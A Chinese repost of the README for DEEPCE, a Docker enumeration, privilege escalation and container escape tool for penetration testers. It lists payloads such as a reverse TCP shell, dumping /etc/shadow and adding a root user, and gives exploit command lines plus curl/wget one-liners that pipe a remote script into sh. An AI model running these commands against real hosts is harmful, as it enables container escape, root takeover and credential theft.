Docker 枚举、特权升级和容器逃逸 (DEEPCE)
为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh
,没有依赖性。如果可用,它将使用其他工具,例如 curl、nmap、nslookup 和 dig,但在大多数情况下不依赖于它们进行枚举。
枚举都不应该触及磁盘,但是大多数漏洞利用会创建新的容器,这将导致磁盘写入,并且一些漏洞利用会覆盖 runC,这可能具有破坏性,所以要小心!
可以使用以下单行之一将 DEEPCE 下载到主机或容器上。提示:下载到/dev/shm
避免接触磁盘。
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").c
枚举
以下是 DEEPCE 执行的枚举列表。
-
容器 ID 和名称(通过反向 DNS)
-
容器 IP / DNS 服务器
-
码头工人版本
-
有趣的坐骑
-
普通文件中的密码
-
环境变量
-
密码哈希
-
容器中存储的常见敏感文件
-
同一网络上的其他容器
-
端口扫描其他容器,以及宿主机本身
漏洞利用
-
Docker 组提权
-
特权模式主机命令执行
-
裸露的 Docker
有效载荷
对于上述每个漏洞利用,都可以定义有效负载以利用主机系统。这些包括:
-
反向 TCP 外壳
-
打印 /etc/shadow
-
添加新的根用户
-
运行自定义命令
-
运行自定义负载二进制文件
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
漏洞利用
以下示例显示了可以执行的不同类型的漏洞利用和可用的有效负载。
-
利用特权容器在主机操作系统上创建新的 root 用户:
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
-
利用可写的 docker sock 文件打印内容
/etc/shadow
./deepce.sh --no-enumeration --exploit SOCK --shadow
-
通过主机上 docker 组的成员身份升级到 root 并运行自定义负载
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
高级用法
可以在不接触磁盘的情况下下载和运行 deepce,但是您将无法轻松设置参数(可以使用导出直接操作变量)。
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
https://github.com/stealthcopter/deepce
原文始发于微信公众号(Khan安全攻防实验室):Docker 枚举、特权升级和容器逃逸 (DEEPCE)